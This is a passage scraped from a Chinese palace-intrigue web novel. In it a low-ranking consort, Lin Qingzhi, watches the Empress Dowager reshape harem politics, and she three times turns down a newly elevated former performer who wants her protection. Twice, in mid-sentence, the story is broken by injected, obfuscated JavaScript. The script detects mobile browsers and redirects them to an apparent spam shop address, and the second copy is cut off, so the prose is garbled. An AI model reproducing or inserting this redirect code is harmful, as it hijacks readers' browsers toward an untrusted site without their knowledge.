皇上接过太监递过来的册子,随手翻了翻,只见字迹工整娟秀,一笔一划都透着用心,连一个错字都没有。他抬眼看向跪在地上的林清芷,眼底闪过一丝深深的欣赏,温声道:“愉常在有心了,这份礼,朕很喜欢。起来吧。” “谢皇上。”林清芷恭恭敬敬地磕了个头,起身退了下去,依旧是那副不骄不躁、安安静静的样子,仿佛刚才得了皇上亲口夸赞的人不是她一样。 太后看着她的背影,对着皇上笑着点了点头,低声道:“这个愉常在,倒是个沉稳懂事的,心思也正。” 皇上微微颔首,没说话,却把林清芷的名字,在心里又记了一遍。 后面的慎答应、惜常在依次献礼,皆中规中矩,慎答应献了亲手抄的祈福经文,惜常在献了一方绣帕,都没出什么差错,却也没给人留下什么印象。 献礼环节结束,酒过三巡,太后放下手里的酒杯,看向皇上,语气温和却带着十足的分量,缓缓开口道:“皇帝,哀家有几句话,想跟你说。” 皇上连忙放下酒杯,躬身道:“母后请讲,儿臣听着。” “你登基已有四月,先帝百日祭已过,哀家知道你心系朝政,日夜操劳,可这后宫之事,皇嗣之事,你也不能不上心。”太后的目光扫过下方的后宫妃嫔,缓缓道,“江山传承,皇嗣为重。你如今只有三个皇子,两个公主,子嗣还是太单薄了。后宫这么多妃嫔,你不能只盯着一两个人,要雨露均沾,多给她们些机会,也好为皇家开枝散叶,绵延子嗣。” 这话一出,殿内瞬间安静了下来,所有人的呼吸都放轻了,耳朵竖得高高的,连大气都不敢喘。 12. 太后送人,众妃忌惮 太后这话,看似是劝皇上多生皇子,实则是定下了后宫的规矩——雨露均沾,轮流侍寝,不能专宠一人。这不仅是断了皇后独霸中宫的念头,也断了宸贵妃、或是任何一个妃嫔专宠的可能,给了所有低位份妃嫔机会,更是平衡了后宫的各方势力,不让任何一派一家独大。 皇上愣了一下,随即躬身道:“儿臣谨记母后教诲。儿臣知道了,往后定会注意。” 太后满意地点了点头,又笑着道:“哀家也不是逼你,只是看着后宫这些孩子,个个都安分懂事,你也该多给她们些机会。哀家看了,不如就定个规矩,往后按位份高低,轮流到养心殿侍寝,每位妃嫔都有机会,既合规矩,也能让后宫安稳,你也能少些烦心事,专心处理朝政。” 这话更是把规矩定死了,连轮流的顺序都给定了下来。皇后坐在上首,脸上的笑意瞬间僵住,指甲深深掐进了掌心——她是中宫皇后,本就有每月十五固定侍寝的规矩,如今定下轮流侍寝,她不仅没法独占皇上,还要和这么多低位份妃嫔平分机会,心里怎么能不气? 可这是太后开口定的规矩,她就算再不满,也不敢反驳。宸贵妃脸上也没了笑意,她本就凭着家世和旧情,最得皇上青睐,如今定下轮流侍寝,她的优势瞬间少了大半。 反倒是恬贵人、惜常在、慎答应这些低位份妃嫔,眼里瞬间燃起了光。按位份轮流,她们就有了名正言顺的侍寝机会,不用再费尽心思争宠,也不用怕被高位份妃嫔打压,这简直是天大的好事。 林清芷坐在席上,垂着眼,眼底闪过一丝了然。太后这一手,果然高明。既平衡了后宫,不让皇后与宸贵妃任何一方势大,又借着开枝散叶的由头,落得个贤德的名声,还能让后宫安稳,不给皇上添乱,一举多得。 皇上自然也明白太后的用意,他本就不想让后宫任何一派一家独大,太后开口,正好顺了他的意。他立刻躬身道:“儿臣遵母后旨意。就按母后说的办,往后按位份轮流侍寝,雨露均沾,为皇家开枝散叶。” 太后笑着点了点头,没再多说,示意家宴继续。 可殿内的气氛,却已经完全变了。每个人的心里都各有盘算,皇后的脸色铁青,宸贵妃满脸不悦,恬贵人、惜常在难掩激动,恪贵人依旧平静,慎答应紧张又期待,只有林清芷,安安静静地坐在那里,仿佛这一切都与她无关。 酉时末,家宴结束,众人依次告退,离开了慈宁宫。 回承乾宫的路上,清禾忍不住笑着道:“主子,太后娘娘这一手,真是太妙了!定下轮流侍寝的规矩,往后每位主子都有机会,您也不用再避着了,说不定很快就能得皇上的青睐了!” 林清芷坐在轿子里,淡淡一笑,摇了摇头:“你以为这是好事?轮流侍寝,看似给了所有人机会,实则是把所有人都拉到了同一个战场上。往后的后宫,只会更不太平,明枪暗箭,只会更多。” 她太清楚了,太后定下的这个规矩,看似公平,实则是把后宫的争斗,摆到了明面上。皇后不会甘心,宸贵妃不会罢休,恬贵人、惜常在这些人,为了抓住机会,只会不择手段,往后的日子,只会越来越凶险。 轿子稳稳落在承乾宫门口,林清芷扶着清禾的手下了轿,抬头看向漆黑的夜空,远处各宫的宫灯星星点点,像黑夜里无数双窥探的眼睛。 她知道,从太后定下雨露均沾的规矩这一刻起,后宫的格局,已经彻底变了。新一轮的争宠之战,才刚刚拉开序幕。 可她不怕。 她抬手拢了拢鬓边的碎发,眼底的光,坚定而明亮。她不争一时的侍寝机会,不争腹中的皇嗣,她要争的,是这深宫里的安身立命,是握在自己手里的,稳稳的一生 永熙元年四月二十,万寿节刚过四日,紫禁城的风里还带着未散的节庆余温,后宫里因“雨露均沾”的规矩掀起的波澜,却远未平息。 自太后定下按位份轮流侍寝的规矩,后宫看似安稳了不少,实则暗流翻涌得更烈。皇后借着中宫之尊,牢牢握着侍寝的排班权,明里暗里给宸贵妃党使绊子,本该轮到恪贵人的日子,总能被她用“皇上需处理朝政”“中宫有要事相商”的由头挤掉;恬贵人得了皇后的撑腰,三天两头往养心殿送点心汤水,哪怕见不到皇上的面,也要在宫道上刷足存在感;慎答应依旧凭着那份干净柔顺得了皇上两分青眼,却也因皇后的刻意打压,半月里只轮到了一次侍寝;惜常在缩在懿妃身后,依旧是那副柔弱无害的样子,却始终没再入过皇上的眼。 唯有林清芷,始终安安静静待在承乾宫东偏殿里,每日抄经、看书、打理院子里的青菜,哪怕轮到她侍寝的日子,也只是规规矩矩地奉茶、守夜,不刻意讨好,不挖空心思争宠,皇上不说话,她便安安静静地待在一旁,不多言不多事。 清禾和清秀常常急得团团转,劝她抓住机会,她却只淡淡一笑:“是你的,不用争;不是你的,争了也只会引火烧身。太后定下这规矩,看似给了所有人机会,实则是把所有人都架在了火上烤,越是急着往上扑,越容易摔得粉身碎骨。” 她看得比谁都清楚,太后定下轮流侍寝的规矩,从来不是为了给低位份妃嫔谋出路,是为了制衡。制衡皇后的中宫权势,制衡宸贵妃的圣宠与家世,不让后宫任何一派一家独大。可仅仅是轮流侍寝,还不够——皇后与宸贵妃斗了这么多年,根基早已扎稳,想要真正平衡,唯有往这池水里,再投一颗新的石子。 这颗石子,很快就落了下来。 四月二十那日,皇上从前朝忙完政务,按例往慈宁宫给太后请安。刚进正殿,就闻到殿内飘着淡淡的、若有似无的琴音,不是靡靡之音,是清雅的《平沙落雁》,琴技娴熟,指法沉稳,没有半分轻浮之气。 皇上脚步微顿,看向坐在上首的太后,笑着道:“母后这里倒是清净,还有人抚琴,儿臣在外面听着,都觉得心头的躁气散了不少。” 太后笑着摆了摆手,示意抚琴的人停了,温和道:“不过是我宫里的一个伎人,平日里闲着没事,教她弹弹琴解闷,倒是让皇帝见笑了。” 她说着,抬眼示意了一下,殿内屏风后缓步走出一个女子。 那女子一身素色的襦裙,料子普通,却洗得干干净净,没有半分装饰。她身形纤细,容貌极是出挑,眉如远黛,目若秋水,唇不点而朱,肤若凝脂,明明是一张极具媚态的脸,眼神却干净恭谨,垂首站在那里,身姿端稳,没有半分伎人的轻浮,反倒透着几分书卷气的温婉。 她走到殿中,对着皇上盈盈下拜,动作行云流水,规矩挑不出半分错处,声音清柔婉转,像山涧清泉:“奴婢令氏,给皇上请安,吾皇万岁万岁万万岁。” 皇上看着她,眼底闪过一丝不易察觉的讶异,却没说话,只是看向太后。 太后笑着招了招手,让令氏起身站到自己身侧,对着皇上道:“这孩子是江南人,三年前进的宫,在我宫里当差,性子稳,手脚也勤快,琴棋书画都略通一些,最难得的是懂事安分,守规矩。” 她顿了顿,语气里带着几分了然的温和:“皇帝你登基以来,一心扑在朝政上,后宫里也没添什么新人。百日祭已过,虽说国丧期未满一年,不好大张旗鼓选秀,可身边也该有个妥帖的人伺候着。这孩子在我身边待了三年,人品性子我都知根知底,你若是不嫌弃,就把她收在后宫里,也好替你分分忧,解解乏。” 皇上瞬间明白了太后的用意。 太后这哪里是单纯给他送美人,是往后宫里安了一双自己的眼睛,也是往皇后与宸贵妃的争斗里,加了一枚平衡的棋子。令氏是太后宫里出来的人,背后站着太后,皇后不敢轻易动她,宸贵妃也不能随意拿捏她;她位份定然不会高,不会威胁到中宫与贵妃的地位,却又能凭着太后的撑腰和出众的容貌,分走后宫众人的圣宠,打破现有的平衡。 可他不能拒绝。太后是他的嫡母,一手扶持他登基,于情于理,他都不能拂了太后的心意;于朝政于后宫,这枚棋子落下来,也确实能帮他制衡后宫各方势力,让他能更专心地处理前朝的事。 皇上微微颔首,对着太后躬身道:“儿臣谢母后费心。既然是母后赏的人,儿臣自然没有不收的道理。” 太后脸上的笑意更深了,看向身侧的令氏,道:“还不快谢过皇上?” 令氏立刻再次跪下,恭恭敬敬地磕了三个头,声音依旧平稳恭谨,没有半分得意忘形:“奴婢谢皇上恩典,吾皇万岁万岁万万岁。” 当日下午,养心殿的圣旨便传到了后宫。 令氏册封为答应,赐封号“怡”,迁居钟粹宫东偏殿,即日迁入。 圣旨一出,整个后宫瞬间炸开了锅。 谁也没想到,万寿节刚过,太后竟然亲自给皇上送了人,还是个伎人出身的女子,直接封了答应,给了封号,入了后宫主册。这是永熙朝登基以来,第一次册封新人,也是后宫里除了慎答应许氏之外,第二个位份最低的答应。 永寿宫里,皇后沈氏气得砸碎了一整套刚送来的青瓷茶具,脸色铁青,对着身边的掌事嬷嬷厉声道:“太后这是什么意思?!本宫是六宫之主,给皇上纳新人,本该是本宫的职责,太后竟然越过本宫,直接把人塞到了后宫里!她眼里还有本宫这个皇后吗?!” 掌事嬷嬷连忙劝道:“娘娘息怒,太后娘娘也是一片心意,想给皇上添个妥帖的人伺候。再说了,不过是个伎人出身的小小答应,给了封号又如何?无家世无背景,全靠着太后娘娘的一点脸面,根本入不了娘娘的眼,翻不起什么大浪的。” “翻不起大浪?”皇后冷笑一声,“她是太后宫里出来的人,背后站着太后!本宫以后想动她,都要掂量掂量太后的脸面!太后这哪里是给皇上送美人,是往本宫身边安了个眼线,是嫌本宫管着后宫,碍了她的眼了!” 可气归气,她终究不敢违逆太后的意思,只能咬着牙吩咐下去,按答应的规制,给怡答应置办东西,安排宫人,半点差错都不能出,免得落个苛待太后所赐之人的名声。 咸福宫里,宸贵妃安氏听到消息,先是愣了一下,随即嗤笑一声,满脸不屑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344798|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“太后真是越活越回去了,竟然给皇上送个伎人出身的贱婢进来,也不怕污了皇家的脸面。” 贤嫔江氏坐在一旁,满脸担忧:“娘娘,话虽如此,可她毕竟是太后娘娘送过来的人,背后有太后撑腰,咱们也不能轻视。万一她得了皇上的青睐,岂不是又多了一个对手?” “对手?”宸贵妃摆了摆手,满脸不在意,“一个小小的答应,就算有太后撑腰又如何?家世没有,根基没有,不过是个空壳子。皇上看在太后的面子上,会给她两分体面,可绝不会真的宠她。本宫在潜邸就跟着皇上,还比不过一个太后硬塞过来的伎人不成?” 话虽如此,她还是对着身边的嬷嬷吩咐道:“去盯着钟粹宫,看看这位怡答应是什么来路,平日里都做些什么,一举一动都给本宫盯紧了,别让她耍什么花样。” 恪贵人金氏坐在一旁,垂着眼,眼底闪过一丝深思。她比宸贵妃看得更清楚,太后送这个人进来,从来不是为了争宠,是为了平衡后宫。这位怡答应,看似位份低微,实则手里握着最大的护身符——太后。往后的后宫,只会更不太平了。 储秀宫东偏殿里,慎答应许氏听到消息,吓得脸都白了,第一时间就带着宫女往承乾宫跑。一进殿门,就抓着林清芷的手,慌慌张张地道:“姐姐!你听说了吗?太后给皇上送了个新人,封了怡答应,和我一样的位份!她有太后撑腰,容貌又好,会不会……会不会抢了我们的机会?皇后娘娘本来就看我不顺眼,现在又多了一个人,我该怎么办啊?” 林清芷扶着她坐下,给她倒了一杯温水,语气温和地安抚道:“别怕,天塌不下来。不过是多了一位答应,后宫里多了一个人而已,没什么大不了的。” “怎么会没什么大不了的啊?”慎答应急得眼眶都红了,“她是太后娘娘送过来的人,有太后给她撑腰,谁都不敢动她,皇上也会给太后面子,她肯定会比我得宠的……” “得宠与否,从来不是看谁的靠山硬,是看皇上的心意。”林清芷轻轻拍了拍她的手,条理清晰地跟她分析,“太后送她进来,不是为了让她专宠,是为了平衡后宫。她若是聪明,就该安安分分,守着自己的本分,不掺和任何纷争,只做太后的眼睛;她若是不聪明,急着争宠,只会引火烧身,太后也保不住她。” “你记住,不管宫里来了多少新人,你只需要守好你自己的本分,依旧像以前一样,安安静静的,不张扬,不惹事,不掺和任何派系的争斗,皇上就不会厌弃你,皇后也抓不到你的把柄,谁都抢不走你的东西。” 慎答应听着她的话,慌乱的心渐渐安定了下来,用力点了点头:“我记住了,姐姐。我都听你的,绝不给你惹麻烦,也绝不去招惹那位怡答应。” 林清芷笑着点了点头,又叮嘱了她几句,让她回去好好待着,不要随意议论,免得被人抓住把柄。慎答应连连应下,安安心心地回储秀宫去了。 送走慎答应,清禾忍不住道:“主子,您说这位怡答应,到底是个什么样的人?太后特意把她送进来,总不会只是个安分守己的人吧?” 林清芷走到窗边,看着远处钟粹宫的方向,眼底闪过一丝深意:“能被太后挑中,送到皇上身边的人,绝不会是简单的角色。她容貌出众,却能在太后宫里安安静静待三年,不声不响,这份隐忍和定力,就不是常人能比的。今日圣旨下来,后宫里人人都乱了阵脚,唯有她那边安安静静,按规矩收拾东西迁居,半点动静都没有,光是这份沉稳,就比恬贵人、甚至惜常在都强得多。” “那咱们……要不要防备着她?”清秀连忙问道。 “自然要防备。”林清芷淡淡道,“她是太后的人,眼睛盯着整个后宫,我们的一举一动,都可能落在她眼里,落在太后面前。但也不必太过忌惮,她有她的路要走,我们有我们的路要走。只要我们守好本分,不犯错,不掺和后宫的纷争,她就算是太后的人,也抓不到我们的把柄。” 她心里清楚,这位怡答应的到来,就像一块投入湖面的石子,会彻底打破后宫原本勉强维持的平衡。皇后会忌惮,宸贵妃会不屑,懿妃会观望,恬贵人会嫉妒,而这位怡答应,会成为后宫里最特殊的一个存在——她不属于任何一派,只属于太后,只做太后想让她做的事。 第二日一早,按规矩,新册封的妃嫔要先去慈宁宫给太后谢恩,再去永寿宫给皇后请安,然后依次去给各宫高位份妃嫔请安。 辰时刚过,怡答应令氏就出现在了永寿宫。她依旧是一身素色常服,没有任何华丽的装饰,头上只插了一支素银簪子,脸上素面朝天,容貌依旧出众,却没有半分恃美而骄的样子,恭恭敬敬地跪在地上,给皇后行三跪九叩的大礼,声音清柔平稳:“嫔妾怡答应,给皇后娘娘请安,皇后娘娘千岁千岁千千岁。嫔妾初入后宫,不懂规矩,往后还请皇后娘娘多多教诲。” 皇后坐在上首的凤椅上,冷冷地看着她,挑不出半分错处,只能不咸不淡地说了句“起来吧,往后安分守己,恪守宫规,别给本宫惹麻烦”,便挥手让她退下了。 13. 令氏投诚,林氏拒绝 永熙元年四月末,紫禁城的春光已经浓得化不开,御花园里的海棠开得如火如荼,可后宫里的风,却依旧带着刺骨的寒意。 怡答应令氏入宫已有十日。 这十日里,她算是彻底尝遍了后宫的人情冷暖。顶着“太后亲赐”的名头,看似风光,实则步步维艰。皇后沈氏虽碍于太后的脸面,明面上挑不出错处,暗地里却处处刁难,本该按规制拨给她的宫女太监,硬是扣了一半,连份例的绸缎炭火,也只给了最低等的;宸贵妃安氏从骨子里瞧不上她伎人的出身,见了面连正眼都不瞧一下,咸福宫的宫人更是狗仗人势,几次在宫道上故意冲撞她,连句道歉都没有;恬贵人何氏嫉妒她的容貌,又想在皇后面前表忠心,三天两头找她的麻烦,不是说她的宫苑逾制,就是说她在御花园里喧哗,处处给她使绊子。 唯有懿妃白氏始终待她温和,见了面总会笑着点头说两句话,不曾有半分轻视;愉常在林清芷待她也算客气,上次她去请安,虽不亲近,却也礼数周全,不曾慢待半分。 可怡答应心里比谁都清楚,客气不等于可靠,温和不等于庇护。太后把她送进后宫,是让她做一双眼睛,盯着后宫的风吹草动,平衡各方势力,却没给她实打实的依仗。太后的脸面,只能保她一时不死,保不了她在这吃人的后宫里安身立命。皇后与宸贵妃斗得你死我活,她夹在中间,无依无靠,无党无派,就像狂风里的一叶扁舟,随时都可能被巨浪打翻。 她必须找一个靠山。 皇后党容不下她,宸贵妃党瞧不上她,剩下的,只有两个人选——一个是行事沉稳、心思缜密,在后宫里步步为营却始终站稳脚跟的愉常在林清芷;另一个是素来中立、心思深沉,手握三皇子却从不主动惹事的懿妃白氏。 而她心里,第一人选,始终是林清芷。 她入宫这些日子,冷眼旁观了许久。林清芷看似不争不抢,却总能在关键时刻化解危机,两次拆穿皇后的算计,在皇上和太后面前都留了好印象,连宸贵妃都对她信任有加;她位份不高,却在后宫里有着旁人没有的体面,慎答应对她死心塌地,恪贵人与她相交甚密,连高位份的贤嫔都对她敬重三分。更重要的是,她心思通透,行事稳妥,不冒进,不张扬,跟着这样的人,远比跟着锋芒毕露的宸贵妃、或是狠辣多疑的皇后要安稳得多。 更何况,她看得出来,林清芷和她是一类人——都在这深宫里小心翼翼地活着,都不想做任人摆布的棋子,都想把命运握在自己手里。 这日午后,怡答应特意避开了旁人,只带了一个贴身宫女,提着一个小小的食盒,往承乾宫去了。 承乾宫东偏殿里,林清芷正坐在窗边的软榻上,看着慎答应练字。慎答应自得了皇上几次青眼,越发觉得自己学识浅薄,便天天来林清芷这里,跟着她读书写字,性子也沉稳了不少。 “姐姐,你看这个字,我写得对不对?”慎答应放下毛笔,一脸期待地看着林清芷,像个等着夸奖的孩子。 林清芷低头看了看,笑着点了点头:“比昨日好多了,笔锋稳了不少,只是这一撇,还要再收一收,不要太急。” 正说着,殿外的小太监进来通报,说怡答应在外求见。 慎答应手里的毛笔一顿,脸上瞬间露出了警惕的神色,看向林清芷:“姐姐,她怎么来了?她是太后娘娘的人,咱们还是别见了吧?” 林清芷放下手里的字帖,眼底闪过一丝了然,淡淡道:“人都来了,总不能把人拒之门外,让她进来吧。” 小太监应声退下,不多时,怡答应缓步走了进来。她今日穿了一身淡青色的常服,依旧是素面朝天,头上只插了一支素银簪子,手里提着一个食盒,身姿纤细,容貌出众,却没有半分恃美而骄的样子,恭恭敬敬地对着林清芷行了蹲礼:“嫔妾给愉常在姐姐请安,姐姐安。” “怡答应妹妹快起来,不必多礼。”林清芷起身虚扶了一把,语气温和却带着恰到好处的距离,“妹妹今日怎么有空过来?快坐,上茶。” 怡答应谢了座,坐在下首,把手里的食盒递了上去,笑着道:“也没什么别的事,就是昨日得了些江南新贡的碧螺春,想着姐姐素来爱喝茶,便给姐姐送一些过来。这茶是素茶,没有半分香气,也不违制,姐姐尝尝鲜。” 林清芷看了一眼食盒,没有接,只是淡淡笑道:“妹妹太客气了,这么好的茶,妹妹自己留着喝就好,我这里不缺茶的。无功不受禄,妹妹的心意我心领了,东西却是不能收的。” 她一句话,就把两人之间的距离拉开了。怡答应脸上的笑意微微一僵,随即又恢复了温和,看向站在一旁的慎答应,笑着道:“慎答应妹妹也在啊,倒是嫔妾来得不巧,打扰姐姐和妹妹练字了。” 慎答应哼了一声,别过脸去,没接话,明晃晃地写着不欢迎。她记着林清芷的叮嘱,对这位太后送来的怡答应,始终带着十二分的警惕。 怡答应也不尴尬,转过头看向林清芷,语气放得更低,带着几分恳切:“姐姐,嫔妾今日过来,除了给姐姐送茶,还有几句心里话,想跟姐姐说说。嫔妾初入后宫,无依无靠,什么都不懂,在这宫里,人人都瞧不上嫔妾的出身,处处刁难嫔妾,嫔妾实在是走投无路了。” 她顿了顿,抬眼看向林清芷,眼里满是真诚:“嫔妾入宫这些日子,冷眼旁观,知道姐姐是这后宫里最明事理、最沉稳可靠的人。嫔妾没有别的奢求,只想跟着姐姐,听姐姐的话,姐姐让嫔妾做什么,嫔妾就做什么,绝无二心。只求姐姐能给嫔妾指一条活路,让嫔妾在这宫里,能有个安身立命的地方。” 这话,已经是明明白白的投诚了。 慎答应在一旁听得瞪大了眼睛,连忙拉了拉林清芷的袖子,对着她拼命摇头,生怕她答应下来。 林清芷脸上的笑意慢慢散去,端起桌上的茶盏,轻轻抿了一口,抬眼看向怡答应,语气温和却带着不容置疑的坚定:“妹妹言重了。这后宫里,大家都是伺候皇上、伺候太后娘娘的,谈不上谁跟着谁。我只是个小小的常在,位份低微,自己都尚且顾不过来,哪里有本事给妹妹指活路?更不敢让妹妹跟着我,免得耽误了妹妹的前程。” 她顿了顿,又补充道:“妹妹是太后娘娘亲自送到皇上身边的人,有太后娘娘给你撑腰,这后宫里,没人敢真的把你怎么样。妹妹只要安分守己,恪守宫规,自然能安安稳稳的,不必来求我。” 一句话,既婉拒了她的投诚,又点明了她最核心的身份——太后的人。 怡答应的脸色瞬间白了几分,她怎么会听不出来,林清芷这是在忌惮她的身份,怕她是太后派来的眼线,不敢收她。她连忙起身,再次对着林清芷躬身,语气愈发恳切:“姐姐,我知道你顾虑什么。可我虽是太后娘娘宫里出来的,却从来没想过要做谁的眼线,更没想过要害人。我只想在这宫里好好活下去,太后娘娘把我送进来,只是给了我一个名分,往后的路,还是要我自己走。我对姐姐绝无半分恶意,更不会连累姐姐,求姐姐给我一个机会。” “妹妹不必再说了。”林清芷放下茶盏,语气依旧温和,却没有半分松口的意思,“我这里庙小,容不下妹妹这尊大佛。妹妹的心意我领了,只是这件事,我不能答应。时候不早了,妹妹还是早些回去吧,免得落人口实,说我们私下结党,反倒给妹妹惹来麻烦。” 话说到这个份上,已经是明明白白的拒绝了。 怡答应看着林清芷坚定的眼神,知道再多说也无益,只能压下心头的失落,对着林清芷躬身行了一礼:“是嫔妾唐突了,打扰姐姐了,嫔妾告退。” 她转身走出了承乾宫,春日的阳光落在身上,却暖不透她心底的寒意。她手里的食盒还提着,那盒碧螺春,林清芷连碰都没碰一下。 贴身宫女小声道:“主子,这愉常在也太不给您脸面了,您都这么低声下气地求她了,她竟然还拒绝。咱们有太后娘娘撑腰,何必来求她一个小小的常在?” 怡答应轻轻摇了摇头,眼底闪过一丝苦涩:“你不懂。这后宫里,太后的脸面是虚的,只有自己手里的依仗才是实的。愉常在看着位份低,实则比宸贵妃、皇后都要靠谱得多,她能在这后宫里步步为营,走到今天,绝不是简单人物。只是她对我忌惮太深,不肯收我罢了。” 她顿了顿,抬头看向远处的宫墙,眼底闪过一丝坚定:“没关系,一次拒绝不算什么。只要我心诚,总有一天,她会明白我的心意的。” 她不信,自己一而再再而三的诚心相投,换不来林清芷的半分接纳。 三日后,御花园的沁芳亭里,怡答应第二次找到了林清芷。 那日林清芷带着清禾在御花园里散步,恰好遇上了在亭子里抚琴的怡答应。琴音清雅,正是林清芷素来喜欢的《梅花三弄》,显然是怡答应特意在这里等她。 见林清芷过来,怡答应连忙停下抚琴,起身行礼,笑着道:“嫔妾见过姐姐,好巧啊,竟然在这里遇上姐姐。” 林清芷淡淡一笑,没有拆穿她的刻意,只是道:“妹妹的琴弹得很好,指法娴熟,意境也到了。” “姐姐过奖了。”怡答应笑着请她入亭坐下,亲手给她倒了一杯白水,屏退了左右的宫人,亭子里只剩下她们两个人。 她看着林清芷,再次开口,语气比上次更加恳切,甚至带着一丝孤注一掷的坦诚:“姐姐,上次是我唐突了,今日我在这里等姐姐,还是想跟姐姐说几句掏心窝子的话。我知道姐姐忌惮我是太后宫里出来的,怕我是太后的眼线,会连累你。可我今天跟姐姐交个底,太后娘娘把我送进来,只是让我盯着后宫的动静,不要让皇后和宸贵妃闹得太过分,从来没让我去害谁,更没让我去做什么见不得人的勾当。” 她往前倾了倾身子,声音压得极低:“我跟姐姐说实话,太后娘娘从来没把我当成自己人,我对她来说,不过是一枚用完就扔的棋子。皇后恨我分了皇上的注意力,宸贵妃瞧不上我的出身,后宫里人人都排挤我,我看似有太后撑腰,实则孤立无援,随时都可能被人当成弃子。” “姐姐,我是真心想跟着你。我知道姐姐心思通透,有勇有谋,跟着你,我才有活路。我发誓,往后我绝对听姐姐的话,姐姐让我往东,我绝不往西,姐姐让我做什么,我就做什么,绝无半分二心。若是我有半分对不起姐姐的地方,天打雷劈,不得好死。” 她连毒誓都发了出来,足以见得她的诚心。 可林清芷看着她,脸上依旧没有半分动容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她说着,起身对着林清芷深深行了一礼,转身离开了沁芳亭,背影里满是落寞。 看着她远去的背影,清禾忍不住道:“主子,她都这么诚心了,您真的一点都不动心吗?她毕竟是太后娘娘的人,若是收了她,咱们也能知道太后娘娘的心思,多一个助力啊。” 林清芷收回目光,淡淡道:“助力?那也是一把双刃剑。她是太后的人,今天能投靠我,明天就能为了太后,反手给我一刀。太后的心思深不可测,我不想沾,也沾不起。与其为了一点不确定的助力,引火烧身,不如安安稳稳地守好自己的一亩三分地,不站队,不掺和,才是最稳妥的路。” 她太清楚了,在这后宫里,一步踏错,就是万劫不复。怡答应背后站着太后,这是她最大的优势,也是最大的雷区。她绝不会为了一个不确定的助力,把自己置于险境之中。 又过了五日,怡答应第三次找到了林清芷。 这次是在宫道上,她被恬贵人拦住刁难,恬贵人故意撞翻了她手里的食盒,指着她的鼻子骂她“伎人出身,上不得台面”,身边的宫人也跟着起哄,围在一旁看热闹,没有一个人上前帮忙。 恰好林清芷带着慎答应路过,怡答应像是抓住了最后一根救命稻草,看向林清芷,眼里满是哀求。 慎答应拉了拉林清芷的袖子,小声道:“姐姐,咱们别管了,免得惹祸上身。” 林清芷看着被围在中间,脸色惨白却依旧强撑着不肯低头的怡答应,终究还是没忍心视而不见,快步走了过去,淡淡开口道:“恬贵人娘娘,这是怎么了?好端端的,怎么在宫道上闹起来了?若是被皇后娘娘知道了,怕是又要说咱们不懂规矩了。” 恬贵人见林清芷过来,脸色微微一僵,她现在对林清芷又恨又怕,不敢轻易和她起冲突,只能冷哼一声道:“愉常在,这是我和这个贱婢之间的事,你少多管闲事。她一个伎人出身的东西,也敢在本宫面前摆架子,本宫教训教训她,怎么了?” “恬贵人娘娘说笑了。”林清芷淡淡道,“怡答应再怎么说,也是皇上亲封的答应,是后宫的主位,娘娘这么骂她,不仅是打她的脸,也是打皇上的脸,打太后娘娘的脸。再说了,国丧期还没过,娘娘在宫道上喧哗吵闹,若是传出去,落得个对先帝大不敬的罪名,怕是不好收场吧?” 一句话,既抬出了皇上和太后,又扣上了大不敬的帽子,恬贵人瞬间没了气焰,狠狠瞪了怡答应一眼,带着宫人骂骂咧咧地走了。 围观看热闹的人见没什么热闹可看,也都散了。 宫道上只剩下她们几个人,怡答应看着林清芷,眼眶微微发红,对着她深深躬身行了一礼:“多谢姐姐出手相救,嫔妾没齿难忘。” “举手之劳而已,妹妹不必放在心上。”林清芷淡淡道,“往后再遇上这种事,避着点就好,不要和恬贵人正面起冲突。” 怡答应抬起头,看着她,眼里再次燃起了一丝希望,语气里带着最后的恳求:“姐姐,我知道你心里的顾虑,我也不求别的,只求姐姐能让我跟着你,哪怕只是做个不起眼的小卒,我也心甘情愿。我绝不会连累姐姐,若是真的有什么事,我一力承担,绝不会牵扯到姐姐半分。求姐姐,再给我一次机会。” 这是她第三次,也是最后一次,放下所有的身段和骄傲,恳求林清芷接纳她。 林清芷看着她眼里的恳求,沉默了片刻,最终还是缓缓摇了摇头,语气里带着一丝歉意,却依旧坚定:“妹妹,对不起。我还是那句话,我帮不了你,也不能帮你。你是个聪明人,应该明白,我们走得太近,对彼此都没有好处。往后,你好自为之吧。” 她说完,拉着身边的慎答应,转身就走,没有半分停留。 14. 白氏主动,令氏投靠 怡答应站在原地,看着林清芷远去的背影,直到那身影消失在宫道的尽头,她才缓缓收回目光,眼底最后一丝光亮,彻底熄灭了。 三次投诚,三次被拒。她终于彻底死了心。 贴身宫女看着她失魂落魄的样子,小声道:“主子,咱们……咱们现在该怎么办啊?愉常在那里,是彻底走不通了。” 怡答应深吸一口气,压下心头的酸涩与失落,眼底闪过一丝冷硬。这条路走不通,她就换一条路走。这后宫里,不是只有林清芷一个人能给她庇护。 她抬起头,看向远处的景阳宫——那是懿妃白氏的居所。 “去景阳宫。”怡答应缓缓开口,声音里带着一丝孤注一掷的坚定,“去给懿妃娘娘请安。” 景阳宫正殿里,懿妃白氏正坐在窗边的软榻上,看着身侧的惜常在绣花。听到宫人通报怡答应求见,她微微挑了挑眉,眼底闪过一丝了然,笑着道:“让她进来吧。” 怡答应缓步走进正殿,恭恭敬敬地对着懿妃行了三跪九叩的大礼,语气诚恳:“嫔妾怡答应,给懿妃娘娘请安,娘娘千岁千岁千千岁。” “起来吧,快坐。”懿妃笑着摆了摆手,让宫女上了茶,温和道,“今日怎么有空到本宫这里来?可是有什么事?” 怡答应没有起身,依旧跪在地上,抬起头,看着懿妃,眼里满是坚定:“娘娘,嫔妾今日过来,是想求娘娘给嫔妾一条活路。嫔妾愿入娘娘的阵营,往后唯娘娘马首是瞻,绝无二心,若是违此誓,天诛地灭,不得好死。” 她没有拐弯抹角,没有试探,直接开门见山,表明了自己的心意。她已经没有时间和精力再去试探了,林清芷的三次拒绝,已经让她没有了退路,她必须抓住眼前这唯一的机会。 